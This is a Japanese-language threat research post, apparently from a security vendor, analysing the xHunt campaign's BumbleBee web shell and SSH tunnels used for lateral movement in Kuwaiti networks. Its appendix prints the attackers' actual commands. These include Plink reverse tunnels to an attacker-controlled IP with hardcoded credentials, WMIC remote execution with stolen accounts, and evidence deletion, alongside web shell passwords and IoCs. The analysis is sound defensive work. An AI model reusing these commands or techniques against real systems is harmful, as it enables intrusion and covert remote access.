マルウェア

xHuntキャンペーン: 横展開に使用される新たなBumbleBee WebシェルとSSHトンネル

Clock Icon 13 min read

This post is also available in: English (英語)

概要

2020年9月、私たちは、脅威グループが継続的なxHuntキャンペーンの過程で侵害したあるクウェート組織のMicrosoft Exchangeサーバーについての調査を開始しました。この調査の結果、以前のブログで解説した、TriFiveとSnugyという2つの新しいバックドアと、このブログで詳しく解説することになるBumbleBee(「マルハナバチ」の意)と名付けた新しいWebシェルが発見されました。この名前は、図1に示すように、BumbleBee Webシェルの配色にはマルハナバチのような白、黒、黄色が含まれることに由来しています。

攻撃者はBumbleBee Webシェルを使用して、侵害されたExchangeサーバーとファイルをやりとりしていました。さらに重要なのが、追加のシステムを探索し、ネットワーク上の他のサーバーへの横展開を行うためのコマンドの実行にも、このWebシェルを使用したという点です。BumbleBeeは、侵害されたExchangeサーバーと同じネットワーク上の内部Internet Information Services (IIS) Webサーバー、および他の2つのクウェート組織にある2つの内部IIS Webサーバー上でホストされていました。xHuntキャンぺーンについての以前のブログに記載したように、Exchangeサーバーの侵害に使用された最初の感染経路はまだわかっていません。私たちが回収できたログよりも前に感染が発生したものと思われます。

クウェート組織の侵害されたExchangeサーバーはインターネットからアクセス可能だったので、攻撃者はBumbleBee Webシェルと直接やり取りしていたことが確認されました。攻撃者はインターネットからアクセス可能なサーバー上でBumbleBeeに直接アクセスするさい、Private Internet Accessが提供している仮想プライベートネットワーク(VPN)を使用していました。サーバーによりログに記録される活動の外部IPアドレスを変更するために、攻撃者は複数のVPNサーバーを頻繁に切り替えていました。具体的には、攻撃者はベルギー、ドイツ、アイルランド、イタリア、ルクセンブルグ、オランダ、ポーランド、ポルトガル、スウェーデン、イギリスなど、さまざまな国からのアクセスに見えるようにIPアドレスを変更していました。これは、検出を回避し、悪意のある活動の分析をより困難にするために行われたと考えられます。また、Windows 10、Windows 8.1、Linuxの各システム上でMozilla FirefoxとGoogle Chromeを切り替えるなど、攻撃者が複数のオペレーティングシステムとブラウザを切り替えていたことも確認しました。これは、攻撃者が複数のシステムにアクセスでき、これを利用して活動の分析をより難しくしているか、オペレーティングシステムとブラウザの好みが異なる複数の攻撃者が関与していることを示しています。

VPNの使用に加え、攻撃者は3つのクウェート組織すべてで、インターネットから直接アクセス可能ではない内部IIS Webサーバー上でホストされているBumbleBee Webシェルとやり取りするために、SSHトンネルを使用していました。BumbleBeeを介してサーバー上で実行されたコマンドは、攻撃者がPuTTY Link (Plink)ツールを使用して、侵害されたネットワーク内部のサービスにアクセスするためのSSHトンネルを作成したことを示しています。私たちは、攻撃者がPlinkを使用して、3389/tcpへのSSHトンネルを作成したことを確認しました。これは、攻撃者がリモートデスクトッププロトコル(RDP)を使用してシステムにアクセスするためにトンネルを使用したことを示しています。また、攻撃者は80/tcpに対する内部サーバーへのSSHトンネルを作成していたことも確認しました。これは、攻撃者がトンネルを使用して内部IIS Webサーバーにアクセスしたことを示しています。攻撃者は、横展開の手段としてBumbleBeeをインストールする目的で内部Webアプリケーションのファイルアップロード機能を利用するために、これらの追加の内部IIS Webサーバーにアクセスしたと考えられます。

パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、脅威防御URLフィルタリング、およびDNSセキュリティのサブスクリプションによって、これらのxHunt関連の攻撃から保護されています。

BumbleBee Webシェル

xHuntキャンペーンに関与している脅威グループは、あるクウェート組織のExchangeサーバーを侵害し、私たちがBumbleBee(マルハナバチ)と呼んでいるWebシェルをインストールしました。この名前は、図1に示すように、BumbleBee Webシェルの配色にマルハナバチのような白、黒、黄色が含まれることに由来しています。BumbleBeeは非常に単純です。このWebシェルは、攻撃者がコマンドを実行し、サーバーとの間でファイルをやりとりできるようにします。BumbleBeeの興味深いところは、Webシェルを表示するには攻撃者は1つのパスワードを入力する必要があり、Webシェルを操作するには別のパスワードを入力する必要があるという点です。

BumbleBee Webシェルという名前は、この図に示した黒、白、黄色の配色から付けました。この図は、xHuntキャンペーンの攻撃者がMicrosoft Exchangeサーバー上でコマンドを実行するために使用するインターフェイスを示しています。
図1xHuntの攻撃者がMicrosoft Exchangeサーバー上でコマンドを実行するために使用したBumbleBee Webシェル

BumbleBee Webシェルを表示するには、攻撃者は、parameterという名前のURLパラメータでパスワードを入力する必要があります。パスワードを入力しないと、BumbleBeeとやり取りするためのフォームがブラウザに表示されません。入力されたパスワードの認証を確認するために、Webシェルはパラメータ値のMD5ハッシュを生成し、ハードコードされたMD5ハッシュと照合します。私たちが確認した、侵害されたExchangeサーバー上でホストされていたBumbleBeeのサンプルでは、パスワード文字列fkeYMvKUQlA5asRに対するMD5ハッシュは1B2F81BD2D39E60F1E1AD05DD3BF9F56でした。BumbleBeeは表示されると、攻撃者に次の3つの機能を提供します。

  1. cmd /cによるコマンドの実行
  2. 指定されたフォルダ(デフォルトではc:\windows\temp)へのファイルのアップロード
  3. サーバーからのファイルのダウンロード

これらの機能を実行するため、攻撃者は、図1で「password」ラベルが付いているフィールドに、2つ目のパスワードを入力する必要があります。BumbleBee WebシェルはパスワードのMD5ハッシュを生成し、ハードコードされたMD5ハッシュと照合してから、機能を実行します。攻撃者が望むアクションを実行する前に照合されたMD5ハッシュは36252C6C2F616C5664A54058F33EF463でしたが、残念ながらこのパスワードの文字列形式を特定することはできませんでした。BumbleBeeの機能を使用するために必要なパスワードはわかりませんでしたが、侵害されたExchangeサーバーからのログを分析することにより、Webシェルを通して実行されるコマンドを特定できました。これについては、このブログの後半で詳しく解説します。

分析の実行中に、私たちはWebシェルの表示とコマンドの実行に対する別のMD5ハッシュを含む、2つ目のBumbleBee Webシェルを発見しました。MD5ハッシュはそれぞれ、A2B4D934D394B54672EA10CA8A65C19828D968F26028D956E6F1199092A1C408でした。A2B4D934D394B54672EA10CA8A65C198のハッシュはパスワードTshuYoOARg3fndIに対するものであると特定できましたが、2つ目のハッシュに対する文字列は特定できませんでした。このWebシェルは、侵害されたExchangeサーバー上で元のBumbleBeeが発見されたのと同じクウェート組織にある内部IISサーバー上でホストされていました。この特定のBumbleBeeのサンプルは、他の2つのクウェート組織にある内部IISサーバーでもホストされていることが確認されました。私たちはその2つのクウェート組織のうちの1つの内部IIS Webサーバーからエンドポイントログを回収し、BumbleBeeを通して実行されたコマンドを特定することができました。これについても、このブログの後半で解説します。

侵害されたMicrosoft Exchangeサーバーとのやりとり

クウェート組織の侵害されたExchangeサーバーに関する攻撃者の活動を特定するために、私たちはExchangeサーバーからのIISサーバーのログおよびCortex XDRによりシステムに対して生成されたログを回収しました。IISのログ内で、侵害されたExchangeサーバー上にインストールされているBumbleBee Webシェルを介して攻撃者がコマンドを発行した際に生成されたHTTP POSTリクエストを確認できました。IISのログから、侵害された電子メールアカウントに攻撃者がOutlook Web Appを使用してログインし、ログイン後に、電子メールの確認や侵害されたネットワーク上の他の電子メールアカウントの検索などの特定の活動を実行していたことも確認できました。

残念ながら、侵害されたExchangeサーバーではPOSTリクエスト内のデータをログに記録できないため、これらのログから発行されたコマンドの数はわかっていますが、攻撃者が実行した実際のコマンドはわかっていません。また、私たちは2020年1月31から2020年9月16日までの期間に、34日分のログしか回収できませんでした。これには、侵害されたExchangeサーバーからのすべてのIISのログは含まれません。このようなログの大きな抜けにより、活動の全体像も、侵害されたExchangeサーバーと攻撃者のやり取りの始まりも把握できていません。たとえば、IISのログは、2020年2月1日に最初のBumbleBee Webシェルの活動を示していますが、2020年1月31日の午前12:02 UTCから、TriFiveバックドアが5分ごとに侵害された電子メールアカウントにログインしていたことも示しています。5分ごとのTriFiveのビーコンは、このインシデントに関連するバックドアについての以前のブログで解説したスケジュールされたタスクによって、TriFiveが繰り返し実行されていたことを示しています。これは、回収されたログに示されている期間よりも前に、攻撃者がすでに侵害されたExchangeサーバーへの持続的なアクセスを得ていたことも意味します。

私たちは侵害されたExchangeサーバーから回収できたIISのログを使用して、BumbleBee Webシェルとのやり取りも含め、攻撃者の活動をタイムラインにまとめることができました。2020年2月1日と7月27日に、攻撃者は侵害された資格情報を使用して、Outlook Web Appを介してExchangeサーバーにログインしました。攻撃者はOutlook Web App内の検索機能を使用して、電子メールアドレスの検索を行いました。この検索には、電子メールアドレスの完全なリストを取得するための侵害されたクウェート組織のドメイン名の検索や、helpdeskなどの特定のキーワードの検索も含まれていました。攻撃者はまた、侵害されたアカウントの受信ボックス内で、サービスプロバイダやテクノロジーベンダからの電子メールなどを確認していました。その上、Symantec製品やFortinetのFortiWeb製品からのアラート電子メールも確認していました。ヘルプデスクへの電子メールを検索し、セキュリティアラート電子メールを表示するという行為は、クウェート組織が悪意のある活動に気付いたかどうかを攻撃者が探ろうとしていたことを示しています。

BumbleBee Webシェルの活動に関して、タイムラインを作成するために使用したIISのログからの重要な情報は以下のとおりです。

  • HTTPリクエストのタイムスタンプ
  • 攻撃者のIPアドレス
  • 攻撃者のオペレーティングシステムとブラウザのバージョンを提供するHTTPリクエスト内のuser-agent
  • サーバー側Cookieを使用してExchangeサーバーにより提供されるクライアントの一意の識別子であるURLパラメータ内のclientId

付録の表1は、攻撃者のBumbleBee Webシェルの使用に関する活動のタイムラインを示しています。これは、回収できたログによれば、2020年2月1日に始まりました。このタイムラインの作成時に、BumbleBeeとのやりとり時に攻撃者が示す、以下のようないくつかの興味深い挙動に気付きました。

  • 攻撃者が使用した、1つを除くすべてのIPアドレスは、Private Internet Accessの提供するVPNに関連していました。残りの1つのIPアドレスはFalcoVPNに属するものでした。
  • 攻撃者は、IPアドレスを変更し、ベルギー、ドイツ、アイルランド、イタリア、ルクセンブルグ、オランダ、ポーランド、ポルトガル、スウェーデン、イギリスなど、さまざまな国からのアクセスに見えるように、複数の場所にあるVPNサーバーを切り替えていました。
  • 攻撃者はBumbleBeeとのやりとり時に、複数のオペレーティングシステムとブラウザの組み合わせを使用していました。具体的には、Windows 10 ( )、Windows 8.1 ( )、およびLinuxシステム( )上で、FireFox ( )とChrome ( )を使用していました。

BumbleBeeを使用して実行されるコマンド

前述のように、クウェート組織の侵害されたExchangeサーバーではIISのログ内にPOSTデータを記録しないため、BumbleBee Webシェルで実行されたコマンドを抽出することはできませんでした。ただし、重複するタイムスタンプを使用して、IISのログ内の活動をCortex XDRのログに記録されていたコマンドプロンプト活動と相関させることにより、サーバー上で実行されたコマンドを特定することができました。残念ながら、疑わしい活動への対応として、侵害されたExchangeサーバーにCortex XDRがインストールされた2020年9月16日までにBumbleBee上で実行されたコマンドは確認できていません。また、他の2つのクウェート組織のうちの1つの内部IIS Webサーバー上でホストされていたBumbleBee Webシェルで実行されたコマンドも特定できました。

Cortex XDRのログによると、攻撃者は2020年9月16日に3時間37分の間、侵害されたExchangeサーバー上にインストールされているBumbleBee Webシェルを使用してコマンドを実行していました。付録の表2は、すべてのコマンドおよび実行された活動を最も適切に解説するMITRE ATT&CKテクニックIDを示しています。これらのコマンドは、攻撃者による以下の活動を示しています。

  1. ネットワーク上の追加のコンピュータを検出するために、pingnet groupコマンドおよびPowerShell (T1059.001)を使用して、ネットワーク探索(T1018)を実行する。
  2. whoamiquserコマンドを使用して、アカウント探索(T1087)を実行する。
  3. W32tmtimeコマンドを使用して、システム時刻(T1124)を特定する。
  4. Plink (RTQ.exe)を使用して、リモートホストへのSSHトンネル(T1572)を作成する。
  5. SSHトンネルを介してRDP (T1021.001)を使用して、侵害されたコンピュータを制御する。
  6. 共有フォルダをマウントし、Plink (RTQ.exe)をリモートシステムにコピーし、Windows Management Instrumentation (WMI) (T1047)を使用してRDPアクセス用のSSHトンネルを作成することにより、別のシステムに横展開する(T1570)。
  7. コマンドの発行が完了したら、BumbleBeeを削除する(T1070.004)ことにより、その存在の証拠を削除する。

付録の表2のコマンドは、以下のコマンドに示すように、攻撃者がPlink (RTQ.exe)を使用して外部IPアドレス192.119.110[.]194へのSSHトンネルを作成する様子も示しています。

このIPアドレスは、このブログの後半で解説する他の関連するインフラストラクチャと重複しています。最も重要なことは、SSHトンネルの作成に使用されたユーザー名borとパスワード123321が、前述のxHuntの活動と完全に同一であるという点です。この同一の資格情報は、攻撃者がPlinkを使用してSSHトンネルを作成するために使用できるコマンド例を示した、Sakabotaツール内で発見されたチートシートに記載されていました。攻撃者はチートシートからのコマンド例を、BumbleBeeを介してSSHトンネルを作成するために使用したコマンドの土台として利用したと考えられます。

攻撃者は、Windowsシステム上のインターネットからアクセス可能ではないRDPサービスに接続するために、特に、侵害されたシステムとやり取りし、グラフィカル ユーザー インターフェイス(GUI)アプリケーションを使用する目的でRDPを使用するために、これらのSSHトンネルを作成します。図2に示すように、攻撃者はネットワーク上の他のシステムに横展開するために、特に、インターネットからリモートでアクセス可能ではない内部システムにアクセスするためにも、これらのSSHトンネルを使用します。

この図は、xHuntキャンペーンの攻撃者が、SSHトンネルを使用して、BumbleBeeをホストしているインターネットからアクセス可能なサーバーを介した、インターネットからのリモートアクセスが可能ではない内部システムへのアクセスを可能にすることにより、ネットワーク上の他のシステムに横展開する様子を示しています。
図2 xHuntの攻撃者がBumbleBeeをホストしているインターネットからアクセス可能なサーバー上に作成されたSSHトンネルから内部システムにアクセスしている図

侵害されたExchangeサーバー上で実行されたコマンドの分析に加え、私たちは他の2つのクウェート組織のうちの1つでホストされている内部IIS Webサーバー上で、BumbleBee Webシェルで実行されたコマンドも分析しました。2020年9月10日に、私たちはネットワークとアカウントの探索を行うために攻撃者が複数のコマンドを実行したことを確認しました。さらに、攻撃者はBumbleBeeを使用して、cq.aspxというファイル名の2つ目のWebシェルをアップロードしていました。攻撃者はこの2つ目のWebシェルを使用して、Microsoft SQL Serverデータベースに対してSQLクエリを発行するPowerShellスクリプトを実行していました。

攻撃者はまずSQL ServerのバージョンをチェックするSQLクエリを発行し、続いてIIS Webサーバー上で実行されているWebアプリケーションに特化した2つの追加のクエリを発行していました。SQLクエリの発行に使用されたPowerShellスクリプトは、「Running SQL via PowerShell」というタイトルでMicrosoft Technetフォーラムに掲載されていた投稿に含まれているスクリプトに非常に似ています。これは、攻撃者がPowerShellスクリプトの土台としてこのフォーラムへの投稿を使用した可能性があることを示しています。攻撃者が作業完了時にBumbleBee Webシェルを使用して2つ目のWebシェルを削除したため、私たちはこのWebシェルを入手することはできませんでした。付録の表3は、9月にBumbleBeeを使用して実行されたコマンドを示しています。

表3のコマンドを発行するために使用されたBumbleBee WebシェルをホストしているIIS Webサーバー上のログには、活動の実行元の内部IPアドレスのみが含まれていました。内部IPアドレスは、このWebサーバーが公的にアクセス可能ではなく、攻撃者のアクセス元のIPアドレスは公開されていないことを示しています。ただし、BumbleBeeにアクセスし、表3のコマンドを実行するすべての試みでは、Webサーバーのログ内のリファラーフィールドのURLで、ホストが192.119.110[.]194:8083でした。リファラーフィールドのこの外部IPアドレスは、攻撃者がSSHトンネルを介してBumbleBeeにアクセスしていたことを示しています。リファラーフィールドのIPアドレスは、表2に示した、侵害されたExchangeサーバー上で確認された、RDPアクセス用のSSHトンネルを作成するために発行されたコマンドと同じです。

ファイルアップローダーとSSHトンネル

調査では、最初のクウェート組織にある内部IIS Webサーバー、および他の2つのクウェート組織にある内部IIS Webサーバーでホストされている2つ目のBumbleBee Webシェルを発見しました。このBumbleBee Webシェルでは、コマンドを表示および実行するためのパスワードが、分析した最初のサンプルとは異なりました。2つ目のBumbleBee Webシェルでは、攻撃者はパスワードTshuYoOARg3fndIを、parameterという名前のURLパラメータ内に含める必要がありました。最初のBumbleBeeサンプルと同様に、攻撃者がWebシェル上でコマンドを実行するために指定する必要があるパスワードはわかっていません。

内部IIS Webサーバー上のアーティファクトを分析することにより、2020年7月16日に、攻撃者がPlinkを使用してSSHトンネルを作成するために、付録の表2に示したコマンドと類似したコマンドを実行したことを特定できました。以下に示すように、攻撃者はxHuntのチートシートに含まれているものと同じユーザー名とパスワードを使用するコマンドを、攻撃者が制御する別の外部IPアドレスで実行したことがわかりました。

これらのコマンドは、攻撃者が3389/tcpでRDPを使用してサーバーに接続することを可能にするSSHトンネルを、侵害されたExchangeサーバー上に作成するために使用したコマンドとは異なります。上記のコマンドは、80/tcpで、他の内部サーバー上でホストされているWebサーバーに攻撃者がアクセスできるようにするためのトンネルの作成を試みます。攻撃者は、他の内部ネットワーク上のWebサーバーで同様のファイルアップロード機能を見つける目的で、これらのサーバーにアクセスするためにSSHトンネルを使用したと考えられます。見つかった場合、攻撃者はファイルアップロード機能を使用して、横展開用にリモートサーバーを侵害するためにWebシェルをアップロードしたと思われます。

私たちはBumbleBee Webシェルの活動を含むIISのログを調べ、インバウンドHTTPリクエストのリファラーフィールドのURL内に、3つの外部IPアドレスを発見しました。リファラーフィールド内のこれらのIPアドレスの存在は、攻撃者が以下のIPおよびTCPポートをブラウザのURLフィールドに含めることにより、SSHトンネルを使用してWebサーバーにアクセスしたことを示しています。

142.11.211[.]79:8080

142.11.211[.]79:8081

91.92.109[.]59:1234

91.92.109[.]59:1255

91.92.109[.]59:1288

91.92.109[.]59:1289

192.119.110[.]194:8083

関連するxHuntインフラストラクチャ

すべての外部IPアドレスは攻撃者がWebシェルとやり取りする際に使用したVPNサーバーのものであったため、侵害されたExchangeサーバー上でホストされているBumbleBee Webシェルへのインバウンド要求は、他のxHuntインフラストラクチャを指し示してはくれませんでした。私たちは幸いにも、RDPを介してシステムにアクセスしたり内部Webサービスにアクセスしたりするために攻撃者が作成したSSHトンネルに対するリモートサーバーとして使用された、既知のxHuntインフラストラクチャを引き出すことができました。SSHトンネルに使用された3つの外部サーバーは、192.119.110[.]194、142.11.211[.]79、および91.92.109[.]59でした。これらは、図3の図に示した他のインフラストラクチャと重複しています。

RDPを介してシステムにアクセスしたり、内部Webサービスにアクセスしたりするために攻撃者が作成したSSHトンネルに対するリモートサーバーとして使用された、既知のxHuntインフラストラクチャを引き出すことができました。SSHトンネルに使用された3つの外部サーバーは、192.119.110[.]194、142.11.211[.]79、および91.92.109[.]59でした。これらは、この図に示した他のインフラストラクチャと重複しています。
図3SSHトンネルに使用されたxHuntサーバーに関連するインフラストラクチャ
SSHトンネルのリモート位置に使用されたこの3つのIPアドレスは、ドメインns1.backendloop[.]onlineおよびns2.backendloop[.]onlineに解決されました。つい最近、この2つのドメインはIPアドレス192.255.166[.]158に解決されており、これは攻撃者が最近の攻撃においてこのIPアドレスのサーバーを使用していることを示している可能性があります。91.92.109[.]59のIPアドレスは、以下のドメインの複数のサブドメインにも解決されており、これらも攻撃者のインフラストラクチャの一部であることを示しています。

  • backendloop[.]online
  • bestmg[.]info
  • windowsmicrosofte[.]online

ドメインwindowsmicrosofte[.]onlineには部分文字列microsofteが含まれます。これは、クウェートの海運・運輸関連組織へのxHuntの攻撃に関する最初の記事に記載しているように、Hisoka C2ドメインmicrosofte-update[.]comに含まれていました。残念ながら、私たちのテレメトリ内では攻撃者がこれらのドメインを使用していないため、攻撃者の活動内でのその目的を特定することはできていません。

結論

xHuntキャンペーンは継続しています。攻撃者は、私たちがBumbleBeeと呼んでいるWebシェルを、あるクウェート組織の侵害されたExchangeサーバーにインストールしていました。このWebシェルは、同じネットワーク上の内部IIS Webサーバーでホストされていました。BumbleBeeは、他の2つのクウェート組織にある2つの内部IIS Webサーバーでも発見されました。攻撃者がWebアプリケーションのファイルアップロード機能を使用してBumbleBeeを内部IIS Webサーバーにインストールしたことはわかっていますが、侵害されたExchangeサーバーにBumbleBeeをインストールする際に、攻撃者が脆弱性を悪用したのか、またはネットワーク上の別のシステムから横展開したのかは、まだ定かではありません。

攻撃者はBumbleBeeを使用して、3つのクウェート組織にある侵害されたサーバー上で、ユーザーアカウントおよびネットワーク上の他のシステムを探索するためのコマンド、ならびにネットワーク上の他のシステムに横展開するためのコマンドなどを実行していました。また、RDPを介してシステムにアクセスしたり、攻撃者が制御する外部サーバーから内部Webサーバーにアクセスしたりするために、SSHトンネルを作成していました。攻撃者はSSHトンネルに対して、攻撃者が開発し、攻撃者のみが使用している、Sakabotaツールに含まれるチートシートで確認されたものと同じユーザー名とパスワードを使用していました。

攻撃者がSSHトンネルに使用した外部サーバーは、3つのクウェート組織のうちの2つでの活動で使用されていました。これは、攻撃者が複数の標的ネットワークとのやり取りでインフラストラクチャを再利用していることを示しています。また、これらの外部サーバーは複数の関連するドメインに解決されました。これは、これらのサーバーがSSHトンネルを作成するためだけでなく、攻撃者の活動の他の部分でもインフラストラクチャに広く使用されていることを意味しています。

この分析から、攻撃者は実際の所在地を隠すために、標的ネットワークと直接やりとりするさい、Private Internet Accessの提供するVPNを好んで使用していることがわかりました。また攻撃者は、活動が多数の国から実行されているように見えるように、Webシェルでのコマンドの発行時に頻繁にVPNサーバーを切り替えていました。攻撃者は、クウェート組織のExchangeサーバー上の侵害された電子メールアカウントへのログイン時にもVPNを使用していました。この活動では特に、ヘルプデスク関連の電子メールやセキュリティアラートにより生成された電子メールを探していました。攻撃者が侵害されたネットワーク上で何か月もの間、存在を持続できていた理由は、このように所在地を隠し、侵害されたネットワークの管理者に攻撃者の存在を通知する可能性がある電子メールを確認することに重点を置いていたことにあるかもしれません。

パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、以下のセキュリティサブスクリプションにより、このブログで概説した攻撃から保護されています。

  • 脅威防御シグネチャ「BumbleBee Webshell File Detection」および「BumbleBee Webshell Command and Control Traffic Detection」により、BumbleBee Webシェルの活動が検出されます。
  • 攻撃者の関連インフラストラクチャは、URLフィルタリングおよびDNSセキュリティで、悪意のあるものとして分類されています。

追加資料

付録

IoC

  • 142.11.211[.]79
  • 91.92.109[.]59
  • 192.119.110[.]194
  • 192.255.166[.]158
  • backendloop[.]online
  • bestmg[.]info
  • windowsmicrosofte[.]online

Exchangeサーバー上でのBumbleBee Webシェルの活動

開始

時刻

(UTC)

コマンド IPアドレス クライアントID ユーザーエージェントからのOSとブラウザ
2/1/20 10:47 0 77.243.191[.]20 POQSBWBKAHZLRWNZFVPG
2/1/20 11:37 12 185.220.70[.]144 RCWIWFL0MCDGZKGO0A
2/1/20 12:38 0 193.176.86[.]134 RCWIWFL0MCDGZKGO0A
2/1/20 12:58 75 82.102.21[.]219 NCHOOJMDGUYAOWZVXJQDG
6/28/20 11:09 3 89.26.241[.]70 ITKVJLNUKULNR0PBAWQ
7/25/20 7:56 0 23.92.127[.]18 IJFHUUAID0FGS9YQEMHCG
7/25/20 10:44 15 196.52.84[.]35 IJAJGSWXUWVDVMMUHQQ
7/25/20 13:59 7 196.52.84[.]52 IJAJGSWXUWVDVMMUHQQ
7/26/20 6:43 3 185.220.70[.]139 IJAJGSWXUWVDVMMUHQQ
7/26/20 7:41 4 185.230.127[.]233 IJAJGSWXUWVDVMMUHQQ
7/26/20 11:26 5 185.230.127[.]239 IJAJGSWXUWVDVMMUHQQ
7/27/20 4:52 1 193.176.86[.]170 IJAJGSWXUWVDVMMUHQQ
7/27/20 10:31 3 212.102.52[.]134 IJAJGSWXUWVDVMMUHQQ
9/6/20 10:58 0 212.102.35[.]102 IIARASUWFCYUBMI0NA
9/8/20 6:37 24 196.52.84[.]30 QAFCNW0FN0ENKWGZPEPVW
9/8/20 8:22 0 185.230.127[.]238 HKPBNWFKIYLNWUGAHJA
9/8/20 8:48 0 185.230.127[.]238 <several unique>
9/8/20 11:40 9 185.230.127[.]238 QAFCNW0FN0ENKWGZPEPVW
9/8/20 13:31 1 212.102.52[.]134 QAFCNW0FN0ENKWGZPEPVW
9/9/20 5:57 3 89.238.139[.]52 QAFCNW0FN0ENKWGZPEPVW
9/10/20 18:58 24 195.181.170[.]242 QAFCNW0FN0ENKWGZPEPVW
9/12/20 7:13 26 89.238.137[.]37 QAFCNW0FN0ENKWGZPEPVW
9/12/20 10:29 2 212.102.52[.]134 QAFCNW0FN0ENKWGZPEPVW
9/15/20 0:04 7 92.223.89[.]137 QAFCNW0FN0ENKWGZPEPVW
9/15/20 5:28 2 85.203.46[.]99 OWITUR9UOKSZPXDKFBW
9/15/20 10:45 5 185.246.208[.]197 YEHIZAWKCLYFMDS9Q
9/15/20 11:24 1 77.243.191[.]20 VOICHQVTFKIDXTCAKA
9/15/20 13:24 4 92.223.89[.]134 QAFCNW0FN0ENKWGZPEPVW
9/15/20 13:30 6 185.246.208[.]197 YEHIZAWKCLYFMDS9Q
9/15/20 14:49 3 92.223.89[.]136 QAFCNW0FN0ENKWGZPEPVW
9/15/20 15:13 3 89.238.139[.]52 QAFCNW0FN0ENKWGZPEPVW
9/15/20 15:17 1 195.181.170[.]243 QAFCNW0FN0ENKWGZPEPVW
9/15/20 15:17 1 89.238.139[.]52 QAFCNW0FN0ENKWGZPEPVW
9/15/20 15:17 7 195.181.170[.]243 QAFCNW0FN0ENKWGZPEPVW
9/15/20 15:24 3 89.238.139[.]52 QAFCNW0FN0ENKWGZPEPVW
9/15/20 15:24 1 195.181.170[.]243 QAFCNW0FN0ENKWGZPEPVW
9/16/20 5:32 56 84.17.55[.]68 YEHIZAWKCLYFMDS9Q
9/16/20 13:42 6 46.246.3[.]254 INAYIKTWB0WGQOW0SRHWAQ
9/16/20 14:33 0 46.246.3[.]254 QAFCNW0FN0ENKWGZPEPVW
9/16/20 14:34 9 46.246.3[.]254 INAYIKTWB0WGQOW0SRHWAQ
9/16/20 15:44 52 46.246.3[.]253 QAFCNW0FN0ENKWGZPEPVW
9/16/20 16:15 2 46.246.3[.]254 INAYIKTWB0WGQOW0SRHWAQ
9/16/20 16:17 13 46.246.3[.]253 QAFCNW0FN0ENKWGZPEPVW
9/16/20 17:21 1 46.246.3[.]254 QAFCNW0FN0ENKWGZPEPVW

表1 侵害されたExchangeサーバーでのBumbleBee Webシェルを使用した攻撃者の活動

ExchangeサーバーでBumbleBeeを使用して実行されたコマンド

2020/09/16の時刻(UTC) 実行されたコマンド ATT&CK IDs
13:42:12 ping -n 1 -a <redacted IP #1> T1018
13:42:27 quser /server:dc.<redacted root domain> T1087
14:27:39 ipconfig /all T1016
14:27:51 W32tm /query /computer:<redacted IP #1> /configuration T1124
14:29:06 W32tm /query /computer:<redacted IP #1> /configuration T1124
14:34:25 quser /server:<redacted IP #1> T1087
14:36:57 echo y | echo q | echo y | echo q | echo y | echo q |echo y | echo q | echo y | echo q | echo y | echo q | time T1124
14:37:11 echo y | echo q | echo y | echo q | echo y | echo q |echo y | echo q | echo y | echo q | echo y | echo q | time T1124
14:43:34 quser /server:<redacted IP #1> T1087
14:43:53 quser /server:<redacted IP #2> T1087
14:49:14 quser /server:<redacted IP #1> T1087
14:49:33 quser <redacted username #1> /server:<redacted hostname #1> T1087
15:43:13 ipconfig /all T1016
15:43:21 quser /server:<redacted IP #1> T1087
15:44:53 dir c:\windows\temp\*.exe T1083
15:45:15 echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #2>:3389 -l bor -pw 123321 -P 443 T1572, T1021.001
15:45:26 whoami T1033
15:45:32 echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #2>:3389 -l bor -pw 123321 -P 443 T1572, T1021.001
15:46:11 c:\windows\temp\RTQ.exe T1059.003
15:46:21 whoami /priv T1033
15:48:15 net group “Domain Computers” /domain T1069
15:48:35 ping -n 1 <redacted hostname #2> T1018
15:49:30 net use \<redacted IP #3>\C$ /user:<redacted domain>\<redacted username #2> <redacted password #1> T1021.002
15:50:22 copy c:\windows\temp\RTQ.exe \<redacted IP #3>\C$\windows\temp\RTQ.exe T1560, T1021.002
15:50:28 \<redacted IP #3>\C$\windows\temp\RTQ.exe T1059.003, T1021.002
15:51:59 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe >> C:\windows\temp\r.txt” T1047
15:52:22 type \<redacted IP #3>\C$\windows\temp\r.txt T1039,

T1021.002

15:53:36 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8082:<redacted IP #2>:3389 -l bor -pw 123321 -P 443” T1047, T1572,

T1021.001

15:55:14 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8084:0.0.0.0:3389 -l bor -pw 123321 -P 443” T1047, T1572, T1021.001
15:56:55 del \<redacted IP #3>\C$:\windows\temp\RTQ.exe T1070.004, T1021.002
15:57:03 del \<redacted IP #3>\C$\windows\temp\RTQ.exe T1070.004, T1021.002
15:57:10 del \<redacted IP #3>\C$\windows\temp\RTQ.exe /F T1070.004, T1021.002
15:58:00 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c del c:\windows\temp\RTQ.exe /F” T1047, T1070.004
15:58:05 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c del c:\windows\temp\RTQ.exe” T1047, T1070.004
15:58:19 dir \<redacted IP #3>\C$:\windows\temp\*.exe T1083, T1021.002
15:58:25 dir \<redacted IP #3>\C$\windows\temp\*.exe T1083, T1021.002
15:58:38 dir \<redacted IP #3>\C$\windows\temp\r.txt T1083, T1021.002
15:58:43 del \<redacted IP #3>\C$\windows\temp\r.txt T1070.004, T1021.002
15:59:25 wmic /node:”<redacted IP #3>” /user:<redacted domain>\<redacted username #2> /PASSWORD:<redacted password #1> process call create “cmd.exe /c tasklist > C:\windows\temp\r.txt” T1047
15:59:29 type \<redacted IP #3>\C$\windows\temp\r.txt T1039, T1021.002
